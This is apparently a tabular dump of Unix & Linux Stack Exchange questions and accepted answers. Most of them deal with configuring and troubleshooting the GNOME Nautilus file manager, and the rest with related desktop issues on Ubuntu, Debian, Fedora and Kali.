date int64 1,220B 1,719B | question_description stringlengths 28 29.9k | accepted_answer stringlengths 12 26.4k | question_title stringlengths 14 159 |
|---|---|---|---|
1,291,124,878,000 |
Nautilus is taking up 450 MiB according to System Monitor (Ubuntu 10.04).
$pmap <PID of Nautilus>
...
total 1578276K
Is pmap reporting 1.5 GiB of memory here? I'm trying to find out what's taking up the 450 MiB so I can deduce what I'm doing wrong, or where the problem lies.
|
There's no simple notion of how much memory is used by a program.
The output of pmap describes all the virtual memory that's mapped by a process. Mapped means that the process can access that data through a pointer, without issuing any further command to load data or request access. Mapped virtual memory isn't always ... | Impossible pmap results |
1,291,124,878,000 |
I've I have some scans of sensitive documents in image format such as jpg png etc. When I open up the folder containing them which is in a truecrypt file, will nautilus create a temporary version of the scan or even a thumbnail of the scan on the computer which the file was opened on?
|
TrueCrypt won't, but I don't know about Nautilus. If you want to make sure, check all the files that have been modified during your session:
find /tmp /var/tmp ~/ -type f -mmin 42
where 42 is the number of minutes you've been logged in (the last command might help if you didn't check the time). You can search for ima... | Does truecrypt leave behind temporary files |
1,291,124,878,000 |
I use mostly command line tools, but sometimes browsing a directory tree is more easy using GUI. In PCManFM I could use the arrow keys to walk the tree and left arrow and right arrow would open a closed tree node (as did explorer on Windows XP).
Nautilus requires to use Return to open a directory if selected (using up... |
You can use the Shift key together with arrow keys to navigate through Nautilus.
Shift+← closes a unfolded directory (but does not go up the tree)
Shift+→ opens a folded directory (but does not enter)
Using Alt with the left and right arrow keys walks through the history of accessed directories, but it does not do an... | navigating nautilus tree using arrow keys |
1,291,124,878,000 |
I am using Ubuntu 10.04. Sometime back after an update, all files in Ubuntu started showing a mime type of text/plain. This means that double clicking on any file opened it using gvim which is really annoying. How do I get Nautilus to recognize mime types based on file extension?
Thanks,
|
After some poking around I found the answer and everything is back to normal. All I had to do was
sudo update-mime-database /usr/share/mime
| Fixing mime type on Ubuntu |
1,291,124,878,000 |
I am a sysadmin, and would like to add a location to nautilus "Places" or Bookmarks across all of my users. I am running Debian jessie, with GNOME classic. I have looked at user-dirs.defaults, but it seems that I can only remove what is already there, and not add anything new. Any help would be appreciated.
|
Create a temp user, write in the bookmarks.If you want to change some things in the tweak tool you can do that too. Then move the ~/.config folder to /etc/skel.
Execute this code so that all user's have the same bookmarks and tweak tool configuration.
for i in `ls /home`; do su $i -c "echo $i"; if [ $? -eq 0 ]; then e... | Adding to Nautilus places |
1,566,001,921,000 |
Debian 10 (Buster) uses GNOME 3.30, which again can use icons on the desktop. To achieve this, I understand that one needs to make a setting that GNOME uses Nautilus to manage the desktop.
I searched in dconf-editor, Optimierungen and Einstellungen (no idea what they're called in English), bus was unable to find such ... |
You’ll find the relevant setting using dconf-editor, in org.gnome.desktop.background, as show-desktop-icons:
The setting doesn’t work for me though, so I’m still using the Desktop Icons extension.
| Use desktop icons in Debian 10 |
1,566,001,921,000 |
I've been working hours on this problem. When nautilus file manager is NOT running nautilus is running because it controls icons on the desktop.
$ ps -aux | grep nautilus | grep -v grep
rick 5613 0.2 1.7 2355392 140012 pts/19 Sl+ 19:04 0:08 nautilus
So use this command without nautilus file manager open and... |
The best way to check whether there are any Nautilus windows open is to check for them on the session D-Bus:
gdbus introspect --session --dest org.gnome.Nautilus \
--object-path /org/gnome/Nautilus --recurse | awk '/^ *node /{print $2}'
This will show window entries under /org/gnome/Nautilus/window if there are... | Best way to check if Nautilus File Manager is running? |
1,566,001,921,000 |
Nautilus is not the file manager anymore in Elementary OS Luna - or it has change name to Pantheon-files. Cannot find its settings.
How to see invisible items?
|
Just press Ctrl + H. I found this on the following page, titled: elementaryupdate.
excerpt
INSTALL
To install, download the following file, extract it, and move it to
~/.icons. The folder, .icons, is a hidden folder inside of your home
directory. You can show hidden folders by pressing CTRL+H inside of
the File... | How to see invisible items in Elementary OS Luna? |
1,566,001,921,000 |
Is there a way to open "Nautilus" (in Debian/Ubuntu) at the window "+ Other Locations" from command-line
Neither manual nor --help states anything about such
|
$ nautilus other-locations:///
| Open Nautilus at "+ Other Locations" from terminal |
1,566,001,921,000 |
The idea is to be able to create a shortcut from context menu in order to access an application or even an internet link.
The gnome-desktop-item-edit (as indicated here) depends on the gnome-panel package that is not available on all systems.
Is there another way?
|
Create a new template file for a launcher
As indicated here, the ~/Templates folder can be used to add new options under the context menu 'New document'.
So:
gedit ~/Templates/New Launcher.desktop
with this content:
[Desktop Entry]
Type=Application
Name=
Icon=
Categories=System;Settings;
Exec=
Terminal=false
Open... | Add 'Create launcher' to Nautilus context menu (without `gnome-desktop-item-edit`) |
1,566,001,921,000 |
First time Ubuntu Gnome user here! For some reason, "Files" (Nautilus?) will no longer open from the dock. When I click on "Files", nothing happens at all.
However, when I run nautilus . from terminal, I receive the following:
(nautilus:12419): Gtk-WARNING **: Failed to register client: GDBus.Error:org.freedesktop.DBu... |
Still unsure as to the exact cause of this, but 'solved' my problem by doing killall nautilus, then clicking on "Files" again.
| "Files" (Nautilus) not opening from dock |
1,566,001,921,000 |
I often find myself in trouble when I try to edit configuration files from the ~/.config/ folder. I expect any change I make to them to be effective, at least after restarting the application or having logged out/inagain.
But they sometimes don't. Here for example, I try to edit ~/.config/nautilus/accels, changing the... |
; starts a comment. So a line starting with ; is ignored.
And probably nautilus overwrites the config file at close. So you should stop nautilus, delete the ; and start nautilus again.
| Syntax of GTK applications' configuration files in ~/.config |
1,566,001,921,000 |
I have a directory called Pages of 2.2 million HTML files (about 80 GB) on an Ubuntu server. I compressed it with 7-Zip using this command:
7z a -mx=9 Pages.7z Pages
It took around 5-6 hours to compress (seems excessive). Compressed size is about 2.3 GB.
I then downloaded it to my main computer (Ubuntu, Intel® Xeon® ... |
I finally figured out the actual answer when I read the wikipedia entry for XZ (https://en.wikipedia.org/wiki/Xz):
One can think of xz as a stripped-down version of the 7-Zip program.
xz has its own file format rather than the .7z format used by 7-Zip
(which lacks support for Unix-like file system metadata[2]).
... | 7-Zip slows down over time on Ubuntu but not Windows |
1,566,001,921,000 |
On my Pop!_OS machine (Ubuntu derivative) I sometimes use the full-screen mode in browsers to focus more using the F11 key.
Now, running macOS as a VM via sosumi, I'm in the need of making that QEMU window fullscreen, but F11 won't do the work.
I noticed that I also can't make Nautilus (file manager) fullscreen with F... |
It sounds like F11 is a shortcut that your browser provides by default, not Pop!_OS. I just tested this in a Pop!_OS VM with Firefox and that seemed to be the case.
You should be able to add a keyboard shortcut for 'Toggle fullscreen mode' by following the guide here on System76's site.
In short:
Open Settings
Click ... | Pop!_OS make windows fullscreen (not F11) |
1,566,001,921,000 |
Is there any file browsers for Linux that cache image previews, just like Windows Explorer cache them to a file named Thumbs.db?
As in the latest ext3/4 filesystems, an inode can hold extended attributes, is it utilizied by any file browser? Well, the default 256B inode size may be too small to hold the preview, I can... |
Nautilus uses ~/.thumbnails normally. Lots of image viewers do generate thumbs there as well. In the normal sub-dir of my system most of the preview files are about 20 KiB in size. It's kinda disturbing that there're no either sqlite database in single file or cache hierarchy (like f/ff/ffdcd558a…1e5200.png) so some F... | How to utilize extended attributes for image preview? |
1,566,001,921,000 |
The problem described below appears sometimes when a folder is opened from context menu with an option similar to "Open with" - "Other application"
What happens is that the program selected in this way (and which after that is already available under "Open with" context menu for selected folder) takes over the file m... |
The idea is to already have the needed programs in the 'Open with' context-menu for a selected folder without the need to select "Other application".
Editing the line inode/directory= in /usr/share/applications/mimeinfo.cache is not useful because, as indicated in a comment by don_crissti, the problem re-appears after... | How to avoid a program taking over the file manager when opening a folder in that program from context menu |
1,566,001,921,000 |
When I follow the steps in
[https://askubuntu.com/questions/138908/how-to-execute-a-script-just-by-double-clicking-like-exe-files-in-windows]
I used to get a dialog box asking whether I wanted to execute the shell script or edit it using gedit. I just reinstalled Ubuntu Linux 16.04 with a LiveCD and ran sudo apt-get... |
First of all, /usr/bin/mono-service.exe does not exist.
Next, according to your posted link. Your script should read something like this:
#!/bin/sh
/usr/bin/mono /usr/lib/mono/4.5/mono-service.exe ./AudioRecorder.exe "$@"
or
#!/bin/sh
/usr/bin/mono-service ./AudioRecorder.exe "$@"
or
#!/bin/bash
mono ./AudioReco... | Double Click Shell Script in Ubuntu 16.04 Nautilus only gives the user option to edit the shell script file |
1,566,001,921,000 |
I am writing an application that needs to be able to parse a path that is dragged from a remote server onto the command line. However, when I drag a path from a remote machine to the terminal I get something that looks like the following:
/home/user/.gvfs/sftp for Name on server-alias/the/full/path/is/here.file.
I wou... |
You might want to take a look at this tutorial titled: Scripting the Linux desktop, Part 2: Scripting Nautilus, which discusses how to add your own items to Nautilus' right click context menu as well as which variables Nautilus provides you when manipulating/dragging objects around inside of it.
example
Variables pres... | Parse a dragged path from a remote machine |
1,566,001,921,000 |
I have xdg users configured manually, in ~/.config/user-dirs.dirs I have:
XDG_DESKTOP_DIR="$HOME/Desktop"
XDG_DOWNLOAD_DIR="$HOME/Various"
XDG_TEMPLATES_DIR="$HOME/Templates"
XDG_PUBLICSHARE_DIR="$HOME/"
XDG_DOCUMENTS_DIR="$HOME/Papers/"
XDG_MUSIC_DIR="/Misc/Musics/"
XDG_PICTURES_DIR="$HOME/Pictures"
XDG_VIDEOS_DIR="/... |
In GNOME 3, Nautilus no longer manages the DESKTOP. In other words, there is no DESKTOP hence XDG_DESKTOP_DIR is meaningless to Nautilus. You'll have to re-enable the DESKTOP in order to have it among other Nautilus bookmarks in the side pane, either through Gnome-tweak-tool:
Have file manager handle the desktop [ON]
... | I don't have a "Desktop" bookmark in nautilus, but in Thunar? |
1,566,001,921,000 |
(GNOME2, Ubuntu 10.04 LTS) I've made a nautilus script, so that if I have a directory full of various codecs, then I just need to right click in that folder -> Scripts -> THISSCRIPT.txt, then presto, it recursively converts all the video files (identified by video mimetype) to x.264 codec with 128 Kbit mp3 to avi. So ... |
You need to use the --auto-kill option.. I've re-vamped the script a bit (I like your thinking-out-of-the-square use of rev, but there are other ways :) ...Here is one.
I've used yad instead of zenity. It is a fork of zenity, and the commands are basically the same. From what I've read, yad is being more actively d... | Terminate script using zenity progress bar |
1,566,001,921,000 |
I'm getting used to Fluxbox and it is great... I configured everything (icons, keys...) but I have this problem... I can't manage to put my Netowork places and Computer icons on desktop because I don't know their location in folder hierarchy. I supposed they are handled by Nautilus (I use Fedora 15, gnome 3 env.) and ... |
no.
there is no "fluxbox idesk desktop". they are separate programs (even projects).
so, using nautilus is not a workaround, it is the way to achieve this.
| How to put Network places and My computer icon on Fluxbox desktop |
1,566,001,921,000 |
I am using Fedora 14 (Laughlin) with GNOME 2.32.0. I have gconf-editor installed. In gconf-editor apps->nautilus->preference confirm_trash is enabled i.e., checked, also in nautilus file browser, home folder, Edit->Preference->Behaviour "Ask before emptying the Trash or deleting files" is checked. But I am not getting... |
Moving a file to Trash does not delete the file - it simply stores it in a folder named "Trash" - you can retrieve files moved there so you don't get a prompt checking if you want to delete them when moving them there (as you are simply storing them somewhere else in the filesystem, not deleting them).
By selecting "A... | Move to trash confirm box |
1,566,001,921,000 |
I have a nautilus script that generates an archive file based on the files selected in the nautilus window. This archive file is created in the /tmp directory. I want a way to copy this file to the clipboard from the script, so that the user can just go to desktop or home directory and paste it.
I have tried doing thi... |
It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the paste pending state, hence nothing happens when an externally loaded clipboard co... | Copy a file from a nautilus-script to clipboard |
1,566,001,921,000 |
I have little background in programming and need to create a batch to extract the audio of multiple video files. Execution is done through the context menu in Nautilus/Gnome Files, stored in Nautilus' scripts folder as a bash .sh.
The following code works for 1 file, but when selecting multiple files it doesn't. Could... |
Use this script, cannot test it with ffmpeg but it should work.
#!/bin/bash
{
readarray FILENAME <<< "$(echo -e "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | sed -e 's/\r//g')"
echo -e "Logs: $(date)\n" > ~/Desktop/data.txt
for file in "${FILENAME[@]}"; do
file=$(echo "$file" | tr -d $'\n')
echo "Current ... | Nautilus Script for multiple files (ffmpeg) |
1,566,001,921,000 |
It seems that GNOME 43 removed the ability to adjust the width of the left sidebar in Nautilus (named Files now, apparently?) by dragging the border. Does anyone know a workaround for this? I'd like to make it wider than the default. The org.gnome.nautilus.window-state.sidebar-width property in dconf doesn't do anythi... |
There is an issue thread posted on the Gnome file repo, see
Sidebar too wide, doesn't reflect sidebar items width.
The options you mentioned are no longer available, which is confirmed in the issue thread.
IMHO, there are 2 workarounds so far,
compile the un-merged version e.g. Draft: ui: Use AdwAdaptiveState to mana... | Fedora 37 with GNOME 43 - adjust Files/Nautilus sidebar width |
1,566,001,921,000 |
I'm unable to delete anything into trash in my Kali Linux system. I can only permanently delete items. When I try deleting, I keep getting the message:
file/folder can't be put in the trash. Do you want to delete it permanently?
Unable to find or create trash directory for /path/to/file/or/dir/file
Why can't I d... |
No need to have it somewhere else to copy it:
First, confirm that your normal user is ID "1000":
id
Then
sudo mkdir -p /.Trash-1000/{expunged,files,info}
sudo chown -R $USER /.Trash-1000
Check Here
https://askubuntu.com/questions/262817/unable-to-find-or-create-trash-directory
| Cannot delete into trash |
1,566,001,921,000 |
How can I set my CentOS to be able to open multiple directories in different tabs in the same window?
I have already enabled the feature to open the folders in the same window, but this is different: I would like to be able to open as many tabs I want for different folders.
Unfortunately, I don't know my graphical env... |
Both CentOS and Fedora make use of GNOME for their desktop environments. To open multiple tabs you can use Ctrl+T to add additional tabs.
If you're attempting to have Nautilus open these tabs pre-populated with specific directories this, to my knowledge, is not possible. You'll have to resort to a scripted method ... | Open multiple directories in different tabs in the same window in CentOS |
1,566,001,921,000 |
I am using emacs-snapshot, and I added an application shortcut to my .local/share/applications/emacs-snapshot.desktop :
[Desktop Entry]
Version=1.0
Name=Emacs Snapshot (GTK)
GenericName=Emacs
Comment=GNU Emacs Snapshot Text Editor
Exec=/usr/bin/emacs-snapshot-gtk
TryExec=emacs-snapshot
Terminal=false
Type=Application
... |
The problem was related to the way the share was mounted (GVFS), as hinted by Gilles. In order for my network folder to work "properly", I had to install cifs-utils
sudo apt-get install cifs-utils
And
mount -t cifs -o domain=mydomain,uid=myuid,forceuid,gid=mygid,forcegid //server/share /shared
| Opening a samba share in emacs |
1,566,001,921,000 |
Since I've been using Debian with GNOME 3.4.2 (default version upon installation), I've always used the dconf editor to change the delete accel back to the normal delete instead of <ctrl>delete, but this time it's going wrong - It just doesn't want to stay as delete once I close Nautilus.
Here are the steps I take:
O... |
I think you can do it without having to resort to dconf-editor now. Make the following changes directly to Nautilus' keyboard accelerators, located here:
$ vim ~/.config/nautilus/accels
Then replace this line:
; (gtk_accel_path "<Actions>/DirViewActions/Trash" "<Primary>Delete")
by this one:
(gtk_accel_path "<Action... | Debian 7.3 (stable) with GNOME 3.4.2, new Nautilus accel won't stick |
1,566,001,921,000 |
If I follow a process I mentioned here, I am supposed to log out and then in for the changes to take place. What about Nautilus? I tried to restart it and was still unsuccessful. The only way I have so far found that works is logging out of the desktop and then in again. That's not always convenient of course.
|
You can't grant a new group to a running process. You need to log in again to get a process with the changed group memberships.
What you can do is to launch nautilus from a different session but have it display on your existing display, something like
ssh localhost "DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY nautilus &"
... | How to make Nautilus notice changes regarding group permissions |
1,566,001,921,000 |
Does anyone have an idea why when I insert a CD/DVD/flash nautilus opens as a default file manager under KDE instead of dolphin krusader? In my system settings krusader is set as the default manager, but still nautilus somehow keeps showing up, and I'm wondering how to change that?
I keep nautilus because it's a dropb... |
This link seems to be what you are looking for. The post is ubuntu specific thought...
| How to turn off Nautilus autoplay under KDE? |
1,550,746,192,000 |
I want to use a nautilus script to open a (gnome-) terminal with a tmux session (or start one) at a specific location and then execute some commands in this terminal (e.g. nvim $file).
I've encountered 2 problems however:
1: I have "Run a custom command instead of my shell" at "tmux", such that every terminal starts i... |
I've found solution relying heavily on tmux. Since tmux is working independently of the shell and prevails even after closing the windows, one can prepare a tmux session and then attach to it. The thing won't instantly exit, since the attachment command does not return unless you exit it.
This and the fact that you ca... | Bash script to start tmux and issue commands |
1,550,746,192,000 |
I have Samsung Galaxy S2 as my cell phone and Debian Squeeze as my desktop. When I connect them using USB, Debian recognize it and allows to open it with file manager. Problem: it displays only directories, all files are like somehow, magically, hidden. I know that they exists, because I can easily see them on Windows... |
The problem was that I needed to turn on USB Storage from my cell and then mount.
| Can't see files on my cell phone |
1,550,746,192,000 |
I often use gpg command to encrypt files like so
gpg -c file
which produces a file.gpg. I would like to get rid of the command line aspect and have a right click button in my Nautilus. I tried installing the Seahorse extension for Nautilus but it doesn't work very well and I would like to keep the simplicity of my ab... |
As far as I know there are two simple ways to add entries to the Nautilus context menu :
Nautilus scripts
nautilus-actions package, which, depending on your distribution might be depreciated.
I'm running on Debian Bullseye/sid where nautilus-actions is not available so I will present the way using Nautilus script. T... | GPG encryption in Nautilus right click menu |
1,550,746,192,000 |
I am experiencing problems to start Gnome Files (Nautilus) on Debian Testing (Buster). I noticed that after an upgrade (I don't know which) Nautilus started to delay some seconds to run.
Running from console I found this error messages:
** (nautilus:23814): WARNING **: 18:19:23.023: Error on getting connection: Failed... |
I discovered that if you delete ~/.cache/tracker/ the problem is solved.
| Gnome Files (Nautilus) very slow to start on Debian Testing (Buster) |
1,550,746,192,000 |
From the terminal I can open the file manager using nautilus ., but the window opens behind the current terminal window (on my Ubuntu 14.04).
Is there a way to call nautilus from the terminal and bring the window to the foreground?
|
After adding comment here I checked askubuntu.com and found the answer there.
You need to install CompizConfig Settings Manager. Then go to General
-> General Options -> Focus & Raise Behaviour and set Focus Prevention Level from Low to Off.
| Nautilus to open in the foreground |
1,550,746,192,000 |
I want to know why is this argument so important when lauching nautilus or pcmanfm. What happens if i don't?
Also, i want to know what is the meaning of %U for:
Exec=pcmanfm %U
|
There is an instance of Nautilus running behind the scenes that's managing your desktop, so when you run subsequent instances of Nautilus the --no-desktop is telling Nautilus not to try to manage the desktop icons etc.
The %U means to pass in a list of URLS:
%U A list of URLs. Each URL is passed as a separate argume... | --no-desktop and %U what for? |
1,550,746,192,000 |
I'm not a Thunar fan, so I removed it and installed Nautilus. When I try to open picture or folder I have this error
What should I do?
|
XFCE doesn't depend on Thunar, you can replace it with anything you want.
To change default file manager go to Configuration Manager, click on Preferred Aplications and in the Utilities tab you will be able to choose nautilus or right your own command nautilus "%d"
http://docs.xfce.org/xfce/exo/preferred-applications
| Error after remove thunar |
1,550,746,192,000 |
Some examples:
If I plug an external USB drive in, it will get mounted under /media/$USER/<device-id> and my file browsers will automatically list the mountpoint under devices.
The same will happen if I manually mount something into a regular folder in my home directory. However, my file browsers will not list the mo... |
Block devices have a flag to indicate whether they are removable. This can be seen in the output of lsblk --help. Although I did not check the kernel sources, the device module is the best place to set this flag.
The exclusion of file systems mounted under /tmp is probably a separate check by the file managers you t... | Which mountpoint paths will automatically show up in file browser under devices? |
1,550,746,192,000 |
I'm new to Ubuntu.
I installed Ubuntu on my PC which has SSD and HDD. I followed the guide to partition HDD properly and it has been mounting without errors so far. However, I can't write anything in it.
I tried desperately for several hours. This is what I did:
chmod - Error: chmod: changing permissions of '/data': ... |
The root directory of a freshly mkfs'd Unix-style filesystem is owned by the root user. So the first step after mounting is to assign it an useful ownership, using root permissions:
sudo chown $USER: /data
After that, you should be able to chmod the directory as required, as you'll now have the ownership of the direc... | Can't change mounted HDD's permissions at all |
1,550,746,192,000 |
Have a directory on a hard drive where I want to change all contents from owned by root to owned by tomc. I have tried Nemo, Krusader, and Nautilus (all launched as root, using sudo), all of which claim to be able to apply such changes recursively. None do, when I check after issuing the command.
So I now have a prima... |
Although you might be adverse to using chmod commands, it is one of the most direct and simple ways of doing this. You could still run the file browser with sudo as guillermo mentioned, but there is no garuntee that it'll stick and you still need to run a command in the command line to start it with sudo.
chown -R tom... | Problem with recursive change of file ownership |
1,550,746,192,000 |
I'm using Fedora 29 gnome and currently I have nautilus-3.30.5-1.fc29.x86_64.
It's very laggy right now. It opens folder very slowly, and I can see loading text bottom right.
What I've tried so far
I've removed ~/.cache/tracker
I've downgraded nautilus to nautilus-3.30.2-1.fc29.x86_64, issue continues.
After killall n... |
As an temporary fix, I would recommend downgrading nautilus and report the bug to the developers, if it's not reported yet.
dnf downgrade nautilus
To further debug this issue, run:
killall nautilus
nautilus
in the terminal. This should provide additional information.
Further investigation pointed to the ~/Templates ... | Nautilus is slowed on after dnf upgrade |
1,550,746,192,000 |
Suppose I click on a file in Nautilus. How can I copy the full address to the clipboard, and then easily paste it into a shell command that I'm typing in a terminal?
|
Press Ctrl+C to copy. When you paste into a terminal, what you'll get is the file name (with its full path).
You get the raw file name, which won't be directly usable in a shell command if it contains spaces or other special characters. To use the file name in a command, don't use a paste command from the terminal, le... | Copy a file in Nautilus and use it in a shell command line |
1,550,746,192,000 |
I use ssh and scp to connect to a remote server.
Due to a ip/proxy limitation on the remote server, I have to connect first to another server. For example, if I want to connect to "SERVER-A", I have to ssh to SERVER-0 and from SERVER-0 ssh to SERVER-A. Thats ok, just a simple additional step on the login.
Now im tryin... |
You could try using a ssh tunnel.
For example, on your computer, enter the following command (and keep the connection open):
ssh -L 12345:SERVER-A:22 user@SERVER-0.
This way, you can now connect Nautilus to localhost:12345, and it will connect you to SERVER-A, via SERVER-0.
Depending on your configuration, you may nee... | Indirect SCP connection |
1,550,746,192,000 |
In Nautilus, I see left pane is useful. It contains shortcut to another place. Such as :
At device : I can see Windows Partition (although I does not mount yet) or at my computer, some shortcut to go Home/Desktop/Documents/Downloads....
When I mount Windows partitions in Nautilus (double click, a confirm windows appe... |
If you want it to be visible in Nautilus you should mount it where udisks2 mounts it, i. e. under /run/media/USERNAME/where USERNAME is (obviously) your user name. Something like this:
mount -t ntfs /dev/sda1 /run/media/USERNAME/C
| Fedora 17 : Nautilus, after mount manually, device will not see again in Device section |
1,550,746,192,000 |
In the past I used
Nautilus-Actions Configuration Tool
with Nautilus.
Can that be used with Nemo File manager (a fork of Nautilus originally)?
|
The answer came to the older once closed question now reopened.
Summing up what I have learned from the main answer:
Nemo or Nautilus actions are similar in content and purpose (namely, adding menu items) but vary with respect to the extension name. (In nautilus, newly created actions and menus will be stored on the... | Can Nautilus-Actions Configuration Tool be used with Nemo file browser in Cinnamon? |
1,622,066,770,000 |
Nautilus, for some reason, becomes very ugly when using custom GTK+ themes. I can't figure out why. There are only a few ones GTK+ themes work properly with Nautilus.
How do I fix this? Is this a Nautilus issue?
Here's a list of data that I think might be relevant:
I'm using GNOME 3 on ArchLinux
Icon themes aren'... |
Themes that make Nautilus look ugly are not updated to support that new header bar widget that came with GTK 3.10
some examples of themes that don't work and some that do work:
| Nautilus ugly with custom GTK themes |
1,622,066,770,000 |
With the command
sudo apt-get install gnome-core -f
I got
The following packages have unmet dependencies:
gnome-core : Depends: nautilus (>= 3.22) but it is not going to be installed
Depends: gnome-sushi (>= 3.20) but it is not going to be installed
E: Unable to correct prob... |
You are not using Debian, but Kali. Then, for some reason, you are having this package libnautilus-extension1a 1:3.14.2-0ubuntu9.1 from Ubuntu Vivid, while Kali-rolling (& Stretch) has 3.22.3-1.
You could use
sudo dpkg --remove --force-remove-reinstreq --force-hold libnautilus-extension1a
to remove it. From man dpkg:... | Gnome Installation Issue Debian |
1,622,066,770,000 |
I work on RedHat Linux and, when I read files from terminal using ll or ls -l on my desktop, I see different names from what I have in my file manager. Say the file name on desktop is John, but I see it in the terminal as vc-john.desktop. Can I get some help over here please?
|
What you're observing is a common behavior in many Linux distributions, including Red Hat. The discrepancy in file names between the graphical file manager and the terminal is due to the way desktop environments handle desktop entries (.desktop files).
Here's an explanation:
Desktop Files (*.desktop): These are specia... | Different name on terminal than on file manager |
1,622,066,770,000 |
When I open Nautilus and I go to the other locations I can see my unmounted hdd wich name is /dev/sda1 and it's real name is HDD. How can I found the real name of /dev/sda1 from the command line?
|
By real name, you mean the LABEL. This can be viewed with
lsblk -f
or
ls -l /dev/disk/by-label
or
sudo blkid -o list
| How to find out the real name of mountable devices? |
1,622,066,770,000 |
What options exist for the .hidden file? I wanted to hide certain filetypes in a folder, but simply putting *.out, which I assumed would hide all files ending in .out, didn't work. :(
I'm using Nautilus.
UPDATE: I guess if this option doesn't exist, a bash shell could be created that, when executed in a directory, fi... |
New answer:
It seems you meant something other than I thought you did. You create a literal .hidden file listing all the files you want the Nautilus file manager to hide by default you can use this command (from @Jóhann 's answer):
for i in *.out; do echo "$i"; done > .hidden
Replacing .out with the file extension yo... | Options for .hidden files? |
1,622,066,770,000 |
So I installed VBoxLinuxGuestAdditions(part of Oracle VirtualBox) to support a better resolution and other reasons, but came across a big annoying problem.
I remember that before installing this, when I use my right mouse button there was a option "open this in terminal" or something similar. But now, it only says th... |
I have found out that the version of gnome that I'm running doesn't support desktop icons anymore.
It is not possible.
| Kali Linux: Desktop messed up after installing VBoxGuestAdditions |
1,622,066,770,000 |
I installed Debian Stretch on two Laptops. One has UEFI, while the other has BIOS - this is the only difference regarding the Debian installation process (I used graphical install).
After the install BIOS PC already has some basic file structure set up in Nautilus:
While other hasn't got the basic folder structure i... |
To create the default user directories you can use the following command :
xdg-user-dirs-update
The list of the directories that were created by the command xdg-user-dirs-update can also be read with:
cat ~/.config/user-dirs.dirs
There is a description how the xdg-user-dirs work.
xdg-user-dirs is a tool to help ma... | Debian - after install folder structure in /home/user differs across PCs |
1,622,066,770,000 |
TL;DR
Exec=gnome-terminal -- bash -c 'script="%u";if [[ -e "$script" ]] ; then "$script" ; else exec bash ; fi' line in GNOME desktop file runs scrips, but only w/out spaces in the name. How to run script with any name?
Full description of "what I want" and what I've tried:
I want to open scripts in editor by default ... |
The freedesktop page you linked clearly says
Field codes must not be used inside a quoted argument, the result of field code expansion inside a quoted argument is undefined.
I would pass the URL as an argument to bash:
gnome-terminal -- bash -c 'script="$1"; if [[ -e "$script" ]] ; then "$script" ; else exec bash ; ... | How to run scripts named with spaces via "open with" list of applications in Nemo for Linux Mint? |
1,622,066,770,000 |
I wanted to check the current directory opened in nautilus window. I check the pid of nautilus, and symbolic link proc/pid/cwd, always points to home directory. Is this expected behaviour? If so thenhow to check the opened directory of nautilus from command line?
|
Nautilus can open multiple windows from the same process, but a process has a single current directory, so Nautilus can't change its directory based on what it's displaying in its windows.
I can't think of a good reason for Nautilus to change its current directory anyway. What would be the point? When Nautilus needs t... | Why cwd in /proc/nautilus_pid/cwd always points to /home/username? |
1,622,066,770,000 |
I'm trying to hook some system calls using linux kernel module on Ubuntu 14.04 Desktop version.
However, when I hooked write(unsigned int fd, const char __user *buf, size_t count) and turned fd into filename, I found that when I copy /home/user/1.txt and paste to /home/user/folder/ in nautilus, no write was called in... |
Looks like Nautilus uses different approach for optimization purposes.
Say I have a test file /ntest/testfile with 45 bytes inside:
Lorem ipsum dolor sit amet
Leroooy Jeeenkins
I want to move it into directory /ntest2. To trace what exactly Nautilus does, I can launch it like this (actually, I did multiple launches w... | nautilus not call write system call when paste file |
1,524,833,802,000 |
In my Arch Linux installation with Gnome 3.28, I recently noticed that I can enter with Nautilus in the private directory /root and see the files inside while Nautilus is started without root rights. In addition I can create directories everywhere in the filesystem as a non-root user when I start nautilus like this :
... |
My problem was caused by an insecure configuration of the sudo system. When I installed my Arch Linux system and to have the hability to execute commands without the root account, I added directly my username in the sudoers file like this :
martin ALL=(ALL) ALL
It worked very well with sudo but not at all with polkit... | Big security problem in Nautilus 3.28.1 |
1,524,833,802,000 |
Older versions of nautilus (such as on Red Hat 5 / RHEL 5) don't have the option "Always use browser" under edit->preferences->behavior. That option isn't added to the gui-based preferences menu until later.
This leaves you stuck only launching visual mode windows by double-clicking. This is annoying when you want to ... |
This option is not available through the GUI on the nautilus version that ships with RHEL 5 but can still be set using the command line. You'll need to use gconftool-2 which is available on RHEL 5. This is the command:
gconftool-2 --type bool --set /apps/nautilus/preferences/always_use_browser true
| How to launch browser mode by default in older versions of Nautilus |
1,524,833,802,000 |
As I understand bash is a program like python interactive shell, which receives command(or commands) by input stream, executes them by calling Linux API functions, and give execution result to output stream.
Terminal is also a program that provides us some features like command history and highlighting, internally it ... |
Yes, programs may well use the shell, either explicitly or implicitly.
See e.g. Stéphane's answer to an unrelated question.
Their answer says, for example, that if the program uses the C library functions execlp() or execvp() to run a command, upon execve() returning ENOEXEC it will typically invoke sh on it ("it" bei... | Do programs like Nautilus uses shell? |
1,524,833,802,000 |
Nautilus 3.26 does not show icons normally, but before I upgraded to nautilus 3.26, in nautilus 3.24 icons are shown normally without any problem. Nautilus 3.26 shows icons like the following picture. How can I fix it ?
https://i.sstatic.net/1lUn5.png
|
Downgrade pango library used for text rendering. This solved my problem.
sudo dnf downgrade pango-1.40.12-1.fc27.x86_64 pango-1.40.12-1.fc27.i686
| Fedora Nautilus 3.26 Icon Alignment Problem or Bug: Icons are misaligned |
1,524,833,802,000 |
I have problem with my Ubuntu 16.04 Xenial Xerus. The problem started after I changed operating systems from Windows to Ubuntu. I have one disk with my personal documents. After changing to Ubuntu, I always see an eject. So how can I remove the eject icon without formatting the disk?
I want to remove the eject icon... |
That is supposed to be there. Disks on Linux (and Windows, but never mind) are mounted at a specific location. That button would let you unmount this disk.
There's nothing wrong with it, and it can be useful. If you don't want it, just ignore it, but there is no reason to remove it.
| How can I remove the eject icon without formatting? [closed] |
1,524,833,802,000 |
I am trying to add a right click menu to odrive, using nautilus-actions and the sync agent.
However, after setting the script up with the path "$HOME/.odrive-agent/bin/odrive" and parameters sync "%f" (Like shown in the documentation).
This does not work, and setting it to show output gives me
"$HOME/.odrive-agent/b... |
When using %f, don't add double quotes around it. Doing so will prompt the application to escape the double quotes in the string (that's where the backslashes comes from).
| Nautilus-Actions Is Adding Backslash |
1,524,833,802,000 |
